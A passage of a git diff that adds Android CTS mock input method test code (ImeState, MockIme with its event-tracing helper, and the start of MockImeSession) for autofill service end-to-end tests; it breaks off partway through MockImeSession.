--- /dev/null
+++ b/tests/autofillservice/src/com/android/cts/mockime/ImeState.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.mockime;
+
+import android.os.Bundle;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+
+/**
+ * An immutable object that stores several runtime state of {@link MockIme}.
+ */
+public final class ImeState {
+ private final boolean mHasInputBinding;
+ private final boolean mHasDummyInputConnection;
+
+ /**
+ * @return {@code true} if {@link MockIme#getCurrentInputBinding()} returned non-null
+ * {@link android.view.inputmethod.InputBinding} when this snapshot was taken.
+ */
+ public boolean hasInputBinding() {
+ return mHasInputBinding;
+ }
+
+ /**
+ * @return {@code true} if {@link MockIme#getCurrentInputConnection()} returned non-dummy
+ * {@link android.view.inputmethod.InputConnection} when this snapshot was taken.
+ */
+ public boolean hasDummyInputConnection() {
+ return mHasDummyInputConnection;
+ }
+
+ ImeState(boolean hasInputBinding, boolean hasDummyInputConnection) {
+ mHasInputBinding = hasInputBinding;
+ mHasDummyInputConnection = hasDummyInputConnection;
+ }
+
+ @NonNull
+ Bundle toBundle() {
+ final Bundle bundle = new Bundle();
+ bundle.putBoolean("mHasInputBinding", mHasInputBinding);
+ bundle.putBoolean("mHasDummyInputConnection", mHasDummyInputConnection);
+ return bundle;
+ }
+
+ @Nullable
+ static ImeState fromBundle(@Nullable Bundle bundle) {
+ if (bundle == null) {
+ return null;
+ }
+ final boolean hasInputBinding = bundle.getBoolean("mHasInputBinding");
+ final boolean hasDummyInputConnection = bundle.getBoolean("mHasDummyInputConnection");
+ return new ImeState(hasInputBinding, hasDummyInputConnection);
+ }
+}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/MockIme.java b/tests/autofillservice/src/com/android/cts/mockime/MockIme.java
new file mode 100644
index 0000000..c1101a1
--- /dev/null
+++ b/tests/autofillservice/src/com/android/cts/mockime/MockIme.java
@@ -0,0 +1,688 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.mockime;
+
+import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.res.Configuration;
+import android.inputmethodservice.InputMethodService;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Process;
+import android.os.ResultReceiver;
+import android.os.SystemClock;
+import android.support.annotation.AnyThread;
+import android.support.annotation.CallSuper;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.support.annotation.WorkerThread;
+import android.text.TextUtils;
+import android.util.Log;
+import android.util.TypedValue;
+import android.view.Gravity;
+import android.view.KeyEvent;
+import android.view.View;
+import android.view.Window;
+import android.view.WindowInsets;
+import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.InputBinding;
+import android.view.inputmethod.InputMethod;
+import android.widget.LinearLayout;
+import android.widget.RelativeLayout;
+import android.widget.TextView;
+
+import java.io.IOException;
+import java.io.InputStream;
+
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.BooleanSupplier;
+import java.util.function.Consumer;
+import java.util.function.Supplier;
+
+/**
+ * Mock IME for end-to-end tests.
+ */
+public final class MockIme extends InputMethodService {
+
+ private static final String TAG = "MockIme";
+
+ private static final String PACKAGE_NAME = "android.autofillservice.cts";
+
+ static ComponentName getComponentName() {
+ return new ComponentName(PACKAGE_NAME, MockIme.class.getName());
+ }
+
+ static String getImeId() {
+ return getComponentName().flattenToShortString();
+ }
+
+ static String getCommandActionName(@NonNull String eventActionName) {
+ return eventActionName + ".command";
+ }
+
+ private final HandlerThread mHandlerThread = new HandlerThread("CommandReceiver");
+
+ private final Handler mMainHandler = new Handler();
+
+ private static final class CommandReceiver extends BroadcastReceiver {
+ @NonNull
+ private final String mActionName;
+ @NonNull
+ private final Consumer<ImeCommand> mOnReceiveCommand;
+
+ CommandReceiver(@NonNull String actionName,
+ @NonNull Consumer<ImeCommand> onReceiveCommand) {
+ mActionName = actionName;
+ mOnReceiveCommand = onReceiveCommand;
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (TextUtils.equals(mActionName, intent.getAction())) {
+ mOnReceiveCommand.accept(ImeCommand.fromBundle(intent.getExtras()));
+ }
+ }
+ }
+
+ @WorkerThread
+ private void onReceiveCommand(@NonNull ImeCommand command) {
+ getTracer().onReceiveCommand(command, () -> {
+ if (command.shouldDispatchToMainThread()) {
+ mMainHandler.post(() -> onHandleCommand(command));
+ } else {
+ onHandleCommand(command);
+ }
+ });
+ }
+
+ @AnyThread
+ private void onHandleCommand(@NonNull ImeCommand command) {
+ getTracer().onHandleCommand(command, () -> {
+ if (command.shouldDispatchToMainThread()) {
+ if (Looper.myLooper() != Looper.getMainLooper()) {
+ throw new IllegalStateException("command " + command
+ + " should be handled on the main thread");
+ }
+ switch (command.getName()) {
+ case "commitText": {
+ final CharSequence text = command.getExtras().getString("text");
+ final int newCursorPosition =
+ command.getExtras().getInt("newCursorPosition");
+ getCurrentInputConnection().commitText(text, newCursorPosition);
+ break;
+ }
+ case "setBackDisposition": {
+ final int backDisposition =
+ command.getExtras().getInt("backDisposition");
+ setBackDisposition(backDisposition);
+ break;
+ }
+ case "requestHideSelf": {
+ final int flags = command.getExtras().getInt("flags");
+ requestHideSelf(flags);
+ break;
+ }
+ case "requestShowSelf": {
+ final int flags = command.getExtras().getInt("flags");
+ // This method was added on P
+ Log.w(TAG, "Ignoring requestShowFelf(" + flags +")");
+ // requestShowSelf(flags);
+ break;
+ }
+ }
+ }
+ });
+ }
+
+ @Nullable
+ private CommandReceiver mCommandReceiver;
+
+ @Nullable
+ private ImeSettings mSettings;
+
+ private final AtomicReference<String> mImeEventActionName = new AtomicReference<>();
+
+ @Nullable
+ String getImeEventActionName() {
+ return mImeEventActionName.get();
+ }
+
+ private final AtomicReference<String> mClientPackageName = new AtomicReference<>();
+
+ @Nullable
+ String getClientPackageName() {
+ return mClientPackageName.get();
+ }
+
+ private class MockInputMethodImpl extends InputMethodImpl {
+ @Override
+ public void showSoftInput(int flags, ResultReceiver resultReceiver) {
+ getTracer().showSoftInput(flags, resultReceiver,
+ () -> super.showSoftInput(flags, resultReceiver));
+ }
+
+ @Override
+ public void hideSoftInput(int flags, ResultReceiver resultReceiver) {
+ getTracer().hideSoftInput(flags, resultReceiver,
+ () -> super.hideSoftInput(flags, resultReceiver));
+ }
+
+ @Override
+ public void attachToken(IBinder token) {
+ getTracer().attachToken(token, () -> super.attachToken(token));
+ }
+
+ @Override
+ public void bindInput(InputBinding binding) {
+ getTracer().bindInput(binding, () -> super.bindInput(binding));
+ }
+
+ @Override
+ public void unbindInput() {
+ getTracer().unbindInput(() -> super.unbindInput());
+ }
+ }
+
+ @Override
+ public void onCreate() {
+ // Initialize minimum settings to send events in Tracer#onCreate().
+ mSettings = SettingsProvider.getSettings();
+ if (mSettings == null) {
+ throw new IllegalStateException("Settings file is not found. "
+ + "Make sure MockImeSession.create() is used to launch Mock IME.");
+ }
+ mClientPackageName.set(mSettings.getClientPackageName());
+ mImeEventActionName.set(mSettings.getEventCallbackActionName());
+
+ getTracer().onCreate(() -> {
+ super.onCreate();
+ mHandlerThread.start();
+ final String actionName = getCommandActionName(mSettings.getEventCallbackActionName());
+ mCommandReceiver = new CommandReceiver(actionName, this::onReceiveCommand);
+ final IntentFilter filter = new IntentFilter(actionName);
+ final Handler handler = new Handler(mHandlerThread.getLooper());
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ registerReceiver(mCommandReceiver, filter, null /* broadcastPermission */, handler,
+ Context.RECEIVER_VISIBLE_TO_INSTANT_APPS);
+ } else {
+ registerReceiver(mCommandReceiver, filter, null /* broadcastPermission */, handler);
+ }
+
+ final int windowFlags = mSettings.getWindowFlags(0);
+ final int windowFlagsMask = mSettings.getWindowFlagsMask(0);
+ if (windowFlags != 0 || windowFlagsMask != 0) {
+ final int prevFlags = getWindow().getWindow().getAttributes().flags;
+ getWindow().getWindow().setFlags(windowFlags, windowFlagsMask);
+ // For some reasons, seems that we need to post another requestLayout() when
+ // FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS bit is changed.
+ // TODO: Investigate the reason.
+ if ((windowFlagsMask & FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS) != 0) {
+ final boolean hadFlag = (prevFlags & FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS) != 0;
+ final boolean hasFlag = (windowFlags & FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS) != 0;
+ if (hadFlag != hasFlag) {
+ final View decorView = getWindow().getWindow().getDecorView();
+ decorView.post(() -> decorView.requestLayout());
+ }
+ }
+ }
+
+ if (mSettings.hasNavigationBarColor()) {
+ getWindow().getWindow().setNavigationBarColor(mSettings.getNavigationBarColor());
+ }
+ });
+ }
+
+ @Override
+ public void onConfigureWindow(Window win, boolean isFullscreen, boolean isCandidatesOnly) {
+ getTracer().onConfigureWindow(win, isFullscreen, isCandidatesOnly,
+ () -> super.onConfigureWindow(win, isFullscreen, isCandidatesOnly));
+ }
+
+ @Override
+ public boolean onEvaluateFullscreenMode() {
+ return getTracer().onEvaluateFullscreenMode(() ->
+ mSettings.fullscreenModeAllowed(false) && super.onEvaluateFullscreenMode());
+ }
+
+ private static final class KeyboardLayoutView extends LinearLayout {
+ @NonNull
+ private final ImeSettings mSettings;
+ @NonNull
+ private final View.OnLayoutChangeListener mLayoutListener;
+
+ KeyboardLayoutView(Context context, @NonNull ImeSettings imeSettings,
+ @Nullable Consumer<ImeLayoutInfo> onInputViewLayoutChangedCallback) {
+ super(context);
+
+ mSettings = imeSettings;
+
+ setOrientation(VERTICAL);
+
+ final int defaultBackgroundColor =
+ getResources().getColor(android.R.color.holo_orange_dark, null);
+ setBackgroundColor(mSettings.getBackgroundColor(defaultBackgroundColor));
+
+ final int mainSpacerHeight = mSettings.getInputViewHeightWithoutSystemWindowInset(
+ LayoutParams.WRAP_CONTENT);
+ {
+ final RelativeLayout layout = new RelativeLayout(getContext());
+ final TextView textView = new TextView(getContext());
+ final RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams(
+ RelativeLayout.LayoutParams.MATCH_PARENT,
+ RelativeLayout.LayoutParams.WRAP_CONTENT);
+ params.addRule(RelativeLayout.CENTER_IN_PARENT, RelativeLayout.TRUE);
+ textView.setLayoutParams(params);
+ textView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 20);
+ textView.setGravity(Gravity.CENTER);
+ textView.setText(getImeId());
+ layout.addView(textView);
+ addView(layout, LayoutParams.MATCH_PARENT, mainSpacerHeight);
+ }
+
+ final int systemUiVisibility = mSettings.getInputViewSystemUiVisibility(0);
+ if (systemUiVisibility != 0) {
+ setSystemUiVisibility(systemUiVisibility);
+ }
+
+ mLayoutListener = (View v, int left, int top, int right, int bottom, int oldLeft,
+ int oldTop, int oldRight, int oldBottom) ->
+ onInputViewLayoutChangedCallback.accept(
+ ImeLayoutInfo.fromLayoutListenerCallback(
+ v, left, top, right, bottom, oldLeft, oldTop, oldRight,
+ oldBottom));
+ this.addOnLayoutChangeListener(mLayoutListener);
+ }
+
+ private void updateBottomPaddingIfNecessary(int newPaddingBottom) {
+ if (getPaddingBottom() != newPaddingBottom) {
+ setPadding(getPaddingLeft(), getPaddingTop(), getPaddingRight(), newPaddingBottom);
+ }
+ }
+
+ @Override
+ public WindowInsets onApplyWindowInsets(WindowInsets insets) {
+ if (insets.isConsumed()
+ || (getSystemUiVisibility() & SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION) == 0) {
+ // In this case we are not interested in consuming NavBar region.
+ // Make sure that the bottom padding is empty.
+ updateBottomPaddingIfNecessary(0);
+ return insets;
+ }
+
+ // In some cases the bottom system window inset is not a navigation bar. Wear devices
+ // that have bottom chin are examples. For now, assume that it's a navigation bar if it
+ // has the same height as the root window's stable bottom inset.
+ final WindowInsets rootWindowInsets = getRootWindowInsets();
+ if (rootWindowInsets != null && (rootWindowInsets.getStableInsetBottom()
+ != insets.getSystemWindowInsetBottom())) {
+ // This is probably not a NavBar.
+ updateBottomPaddingIfNecessary(0);
+ return insets;
+ }
+
+ final int possibleNavBarHeight = insets.getSystemWindowInsetBottom();
+ updateBottomPaddingIfNecessary(possibleNavBarHeight);
+ return possibleNavBarHeight <= 0
+ ? insets
+ : insets.replaceSystemWindowInsets(
+ insets.getSystemWindowInsetLeft(),
+ insets.getSystemWindowInsetTop(),
+ insets.getSystemWindowInsetRight(),
+ 0 /* bottom */);
+ }
+
+ @Override
+ protected void onDetachedFromWindow() {
+ super.onDetachedFromWindow();
+ removeOnLayoutChangeListener(mLayoutListener);
+ }
+ }
+
+ private void onInputViewLayoutChanged(@NonNull ImeLayoutInfo layoutInfo) {
+ getTracer().onInputViewLayoutChanged(layoutInfo, () -> { });
+ }
+
+ @Override
+ public View onCreateInputView() {
+ return getTracer().onCreateInputView(() ->
+ new KeyboardLayoutView(this, mSettings, this::onInputViewLayoutChanged));
+ }
+
+ @Override
+ public void onStartInput(EditorInfo editorInfo, boolean restarting) {
+ getTracer().onStartInput(editorInfo, restarting,
+ () -> super.onStartInput(editorInfo, restarting));
+ }
+
+ @Override
+ public void onStartInputView(EditorInfo editorInfo, boolean restarting) {
+ getTracer().onStartInputView(editorInfo, restarting,
+ () -> super.onStartInputView(editorInfo, restarting));
+ }
+
+ @Override
+ public void onFinishInputView(boolean finishingInput) {
+ getTracer().onFinishInputView(finishingInput,
+ () -> super.onFinishInputView(finishingInput));
+ }
+
+ @Override
+ public void onFinishInput() {
+ getTracer().onFinishInput(() -> super.onFinishInput());
+ }
+
+ @Override
+ public boolean onKeyDown(int keyCode, KeyEvent event) {
+ return getTracer().onKeyDown(keyCode, event, () -> super.onKeyDown(keyCode, event));
+ }
+
+ @CallSuper
+ public boolean onEvaluateInputViewShown() {
+ return getTracer().onEvaluateInputViewShown(() -> {
+ // onShowInputRequested() is indeed @CallSuper so we always call this, even when the
+ // result is ignored.
+ final boolean originalResult = super.onEvaluateInputViewShown();
+ if (!mSettings.getHardKeyboardConfigurationBehaviorAllowed(false)) {
+ final Configuration config = getResources().getConfiguration();
+ if (config.keyboard != Configuration.KEYBOARD_NOKEYS
+ && config.hardKeyboardHidden != Configuration.HARDKEYBOARDHIDDEN_YES) {
+ // Override the behavior of InputMethodService#onEvaluateInputViewShown()
+ return true;
+ }
+ }
+ return originalResult;
+ });
+ }
+
+ @Override
+ public boolean onShowInputRequested(int flags, boolean configChange) {
+ return getTracer().onShowInputRequested(flags, configChange, () -> {
+ // onShowInputRequested() is not marked with @CallSuper, but just in case.
+ final boolean originalResult = super.onShowInputRequested(flags, configChange);
+ if (!mSettings.getHardKeyboardConfigurationBehaviorAllowed(false)) {
+ if ((flags & InputMethod.SHOW_EXPLICIT) == 0
+ && getResources().getConfiguration().keyboard
+ != Configuration.KEYBOARD_NOKEYS) {
+ // Override the behavior of InputMethodService#onShowInputRequested()
+ return true;
+ }
+ }
+ return originalResult;
+ });
+ }
+
+ @Override
+ public void onDestroy() {
+ getTracer().onDestroy(() -> {
+ super.onDestroy();
+ unregisterReceiver(mCommandReceiver);
+ mHandlerThread.quitSafely();
+ });
+ }
+
+ @Override
+ public AbstractInputMethodImpl onCreateInputMethodInterface() {
+ return getTracer().onCreateInputMethodInterface(() -> new MockInputMethodImpl());
+ }
+
+ private final ThreadLocal<Tracer> mThreadLocalTracer = new ThreadLocal<>();
+
+ private Tracer getTracer() {
+ Tracer tracer = mThreadLocalTracer.get();
+ if (tracer == null) {
+ tracer = new Tracer(this);
+ mThreadLocalTracer.set(tracer);
+ }
+ return tracer;
+ }
+
+ @NonNull
+ private ImeState getState() {
+ final boolean hasInputBinding = getCurrentInputBinding() != null;
+ final boolean hasDummyInputConnectionConnection =
+ !hasInputBinding
+ || getCurrentInputConnection() == getCurrentInputBinding().getConnection();
+ return new ImeState(hasInputBinding, hasDummyInputConnectionConnection);
+ }
+
+ /**
+ * Event tracing helper class for {@link MockIme}.
+ */
+ private static final class Tracer {
+
+ @NonNull
+ private final MockIme mIme;
+
+ private final int mThreadId = Process.myTid();
+
+ @NonNull
+ private final String mThreadName =
+ Thread.currentThread().getName() != null ? Thread.currentThread().getName() : "";
+
+ private final boolean mIsMainThread =
+ Looper.getMainLooper().getThread() == Thread.currentThread();
+
+ private int mNestLevel = 0;
+
+ private String mImeEventActionName;
+
+ private String mClientPackageName;
+
+ Tracer(@NonNull MockIme mockIme) {
+ mIme = mockIme;
+ }
+
+ private void sendEventInternal(@NonNull ImeEvent event) {
+ if (mImeEventActionName == null) {
+ mImeEventActionName = mIme.getImeEventActionName();
+ }
+ if (mClientPackageName == null) {
+ mClientPackageName = mIme.getClientPackageName();
+ }
+ if (mImeEventActionName == null || mClientPackageName == null) {
+ Log.e(TAG, "Tracer cannot be used before onCreate()");
+ return;
+ }
+ final Intent intent = new Intent()
+ .setAction(mImeEventActionName)
+ .setPackage(mClientPackageName)
+ .putExtras(event.toBundle())
+ .addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY
+ | Intent.FLAG_RECEIVER_VISIBLE_TO_INSTANT_APPS);
+ mIme.sendBroadcast(intent);
+ }
+
+ private void recordEventInternal(@NonNull String eventName, @NonNull Runnable runnable) {
+ recordEventInternal(eventName, runnable, new Bundle());
+ }
+
+ private void recordEventInternal(@NonNull String eventName, @NonNull Runnable runnable,
+ @NonNull Bundle arguments) {
+ recordEventInternal(eventName, () -> {
+ runnable.run(); return null;
+ }, arguments);
+ }
+
+ private <T> T recordEventInternal(@NonNull String eventName,
+ @NonNull Supplier<T> supplier) {
+ return recordEventInternal(eventName, supplier, new Bundle());
+ }
+
+ private <T> T recordEventInternal(@NonNull String eventName,
+ @NonNull Supplier<T> supplier, @NonNull Bundle arguments) {
+ final ImeState enterState = mIme.getState();
+ final long enterTimestamp = SystemClock.elapsedRealtimeNanos();
+ final long enterWallTime = System.currentTimeMillis();
+ final int nestLevel = mNestLevel;
+ // Send enter event
+ sendEventInternal(new ImeEvent(eventName, nestLevel, mThreadName,
+ mThreadId, mIsMainThread, enterTimestamp, 0, enterWallTime,
+ 0, enterState, null, arguments, null));
+ ++mNestLevel;
+ T result;
+ try {
+ result = supplier.get();
+ } finally {
+ --mNestLevel;
+ }
+ final long exitTimestamp = SystemClock.elapsedRealtimeNanos();
+ final long exitWallTime = System.currentTimeMillis();
+ final ImeState exitState = mIme.getState();
+ // Send exit event
+ sendEventInternal(new ImeEvent(eventName, nestLevel, mThreadName,
+ mThreadId, mIsMainThread, enterTimestamp, exitTimestamp, enterWallTime,
+ exitWallTime, enterState, exitState, arguments, result));
+ return result;
+ }
+
+ public void onCreate(@NonNull Runnable runnable) {
+ recordEventInternal("onCreate", runnable);
+ }
+
+ public void onConfigureWindow(Window win, boolean isFullscreen,
+ boolean isCandidatesOnly, @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putBoolean("isFullscreen", isFullscreen);
+ arguments.putBoolean("isCandidatesOnly", isCandidatesOnly);
+ recordEventInternal("onConfigureWindow", runnable, arguments);
+ }
+
+ public boolean onEvaluateFullscreenMode(@NonNull BooleanSupplier supplier) {
+ return recordEventInternal("onEvaluateFullscreenMode", supplier::getAsBoolean);
+ }
+
+ public boolean onEvaluateInputViewShown(@NonNull BooleanSupplier supplier) {
+ return recordEventInternal("onEvaluateInputViewShown", supplier::getAsBoolean);
+ }
+
+ public View onCreateInputView(@NonNull Supplier<View> supplier) {
+ return recordEventInternal("onCreateInputView", supplier);
+ }
+
+ public void onStartInput(EditorInfo editorInfo, boolean restarting,
+ @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putParcelable("editorInfo", editorInfo);
+ arguments.putBoolean("restarting", restarting);
+ recordEventInternal("onStartInput", runnable, arguments);
+ }
+
+ public void onStartInputView(EditorInfo editorInfo, boolean restarting,
+ @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putParcelable("editorInfo", editorInfo);
+ arguments.putBoolean("restarting", restarting);
+ recordEventInternal("onStartInputView", runnable, arguments);
+ }
+
+ public void onFinishInputView(boolean finishingInput, @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putBoolean("finishingInput", finishingInput);
+ recordEventInternal("onFinishInputView", runnable, arguments);
+ }
+
+ public void onFinishInput(@NonNull Runnable runnable) {
+ recordEventInternal("onFinishInput", runnable);
+ }
+
+ public boolean onKeyDown(int keyCode, KeyEvent event, @NonNull BooleanSupplier supplier) {
+ final Bundle arguments = new Bundle();
+ arguments.putInt("keyCode", keyCode);
+ arguments.putParcelable("event", event);
+ return recordEventInternal("onKeyDown", supplier::getAsBoolean, arguments);
+ }
+
+ public boolean onShowInputRequested(int flags, boolean configChange,
+ @NonNull BooleanSupplier supplier) {
+ final Bundle arguments = new Bundle();
+ arguments.putInt("flags", flags);
+ arguments.putBoolean("configChange", configChange);
+ return recordEventInternal("onShowInputRequested", supplier::getAsBoolean, arguments);
+ }
+
+ public void onDestroy(@NonNull Runnable runnable) {
+ recordEventInternal("onDestroy", runnable);
+ }
+
+ public void attachToken(IBinder token, @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putBinder("token", token);
+ recordEventInternal("attachToken", runnable, arguments);
+ }
+
+ public void bindInput(InputBinding binding, @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putParcelable("binding", binding);
+ recordEventInternal("bindInput", runnable, arguments);
+ }
+
+ public void unbindInput(@NonNull Runnable runnable) {
+ recordEventInternal("unbindInput", runnable);
+ }
+
+ public void showSoftInput(int flags, ResultReceiver resultReceiver,
+ @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putInt("flags", flags);
+ arguments.putParcelable("resultReceiver", resultReceiver);
+ recordEventInternal("showSoftInput", runnable, arguments);
+ }
+
+ public void hideSoftInput(int flags, ResultReceiver resultReceiver,
+ @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putInt("flags", flags);
+ arguments.putParcelable("resultReceiver", resultReceiver);
+ recordEventInternal("hideSoftInput", runnable, arguments);
+ }
+
+ public AbstractInputMethodImpl onCreateInputMethodInterface(
+ @NonNull Supplier<AbstractInputMethodImpl> supplier) {
+ return recordEventInternal("onCreateInputMethodInterface", supplier);
+ }
+
+ public void onReceiveCommand(
+ @NonNull ImeCommand command, @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putBundle("command", command.toBundle());
+ recordEventInternal("onReceiveCommand", runnable, arguments);
+ }
+
+ public void onHandleCommand(
+ @NonNull ImeCommand command, @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putBundle("command", command.toBundle());
+ recordEventInternal("onHandleCommand", runnable, arguments);
+ }
+
+ public void onInputViewLayoutChanged(@NonNull ImeLayoutInfo imeLayoutInfo,
+ @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ imeLayoutInfo.writeToBundle(arguments);
+ recordEventInternal("onInputViewLayoutChanged", runnable, arguments);
+ }
+ }
+}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/MockImeSession.java b/tests/autofillservice/src/com/android/cts/mockime/MockImeSession.java
new file mode 100644
index 0000000..41e2f9a
--- /dev/null
+++ b/tests/autofillservice/src/com/android/cts/mockime/MockImeSession.java
@@ -0,0 +1,309 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.mockime;
+
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.provider.Settings;
+import android.support.annotation.GuardedBy;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.text.TextUtils;
+import android.view.inputmethod.InputMethodManager;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import java.io.IOException;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Represents an active Mock IME session, which provides basic primitives to write end-to-end tests
+ * for IME APIs.
+ *
+ * <p>To use {@link MockIme} via {@link MockImeSession}, you need to </p>
+ * <p>Public methods are not thread-safe.</p>
+ */
+public class MockImeSession implements AutoCloseable {
+ private final String mImeEventActionName =
+ "com.android.cts.mockime.action.IME_EVENT." + SystemClock.elapsedRealtimeNanos();
+
+ private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10);
+
+ @NonNull
+ private final Context mContext;
+ @NonNull
+ private final UiAutomation mUiAutomation;
+
+ private final HandlerThread mHandlerThread = new HandlerThread("EventReceiver");
+
+ private static final class EventStore {
+ private static final int INITIAL_ARRAY_SIZE = 32;
+
+ @NonNull
+ public final ImeEvent[] mArray;
+ public int mLength;
+
+ EventStore() {
+ mArray = new ImeEvent[INITIAL_ARRAY_SIZE];
+ mLength = 0;
+ }
+
+ EventStore(EventStore src, int newLength) {
+ mArray = new ImeEvent[newLength];
+ mLength = src.mLength;
+ System.arraycopy(src.mArray, 0, mArray, 0, src.mLength);
+ }
+
+ public EventStore add(ImeEvent event) {
+ if (mLength + 1 <= mArray.length) {
+ mArray[mLength] = event;
+ ++mLength;
+ return this;
+ } else {
+ return new EventStore(this, mLength * 2).add(event);
+ }
+ }
+
+ public ImeEventStream.ImeEventArray takeSnapshot() {
+ return new ImeEventStream.ImeEventArray(mArray, mLength);
+ }
+ }
+
+ private static final class MockImeEventReceiver extends BroadcastReceiver {
+ private final Object mLock = new Object();
+
+ @GuardedBy("mLock")
+ @NonNull
+ private EventStore mCurrentEventStore = new EventStore();
+
+ @NonNull
+ private final String mActionName;
+
+ MockImeEventReceiver(@NonNull String actionName) {
+ mActionName = actionName;
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (TextUtils.equals(mActionName, intent.getAction())) {
+ synchronized (mLock) {
+ mCurrentEventStore =
+ mCurrentEventStore.add(ImeEvent.fromBundle(intent.getExtras()));
+ }
+ }
+ }
+
+ public ImeEventStream.ImeEventArray takeEventSnapshot() {
+ synchronized (mLock) {
+ return mCurrentEventStore.takeSnapshot();
+ }
+ }
+ }
+ private final MockImeEventReceiver mEventReceiver =
+ new MockImeEventReceiver(mImeEventActionName);
+
+ private final ImeEventStream mEventStream =
+ new ImeEventStream(mEventReceiver::takeEventSnapshot);
+
+ private static String executeShellCommand(
+ @NonNull UiAutomation uiAutomation, @NonNull String command) throws IOException {
+ try (ParcelFileDescriptor.AutoCloseInputStream in =
+ new ParcelFileDescriptor.AutoCloseInputStream(
+ uiAutomation.executeShellCommand(command))) {
+ final StringBuilder sb = new StringBuilder();
+ final byte[] buffer = new byte[4096];
+ while (true) {
+ final int numRead = in.read(buffer);
+ if (numRead <= 0) {
+ break;
+ }
+ sb.append(new String(buffer, 0, numRead));
+ }
+ return sb.toString();
+ }
+ }
+
+ @Nullable
+ private String getCurrentInputMethodId() {
+ // TODO: Replace this with IMM#getCurrentInputMethodIdForTesting()
+ return Settings.Secure.getString(mContext.getContentResolver(),
+ Settings.Secure.DEFAULT_INPUT_METHOD);
+ }
+
+ @Nullable
+ private static void writeMockImeSettings(@NonNull Context context,
+ @NonNull String imeEventActionName,
+ @Nullable ImeSettings.Builder imeSettings) throws Exception {
+ final Bundle bundle = ImeSettings.serializeToBundle(imeEventActionName, imeSettings);
+ context.getContentResolver().call(SettingsProvider.AUTHORITY, "write", null, bundle);
+ }
+
+ private ComponentName getMockImeComponentName() {
+ return MockIme.getComponentName();
+ }
+
+ private String getMockImeId() {
+ return MockIme.getImeId();
+ }
+
+ private MockImeSession(@NonNull Context context, @NonNull UiAutomation uiAutomation) {
+ mContext = context;
+ mUiAutomation = uiAutomation;
+ }
+
+ private void initialize(@Nullable ImeSettings.Builder imeSettings) throws Exception {
+ // NOTE: on P we call 'ime reset', but it's not available on O, so we're just ignoring it -
+ // we don't really need the IME and it will be effectively disabled after this APK is
+ // uninstalled.
+
+ writeMockImeSettings(mContext, mImeEventActionName, imeSettings);
+
+ mHandlerThread.start();
+ mContext.registerReceiver(mEventReceiver,
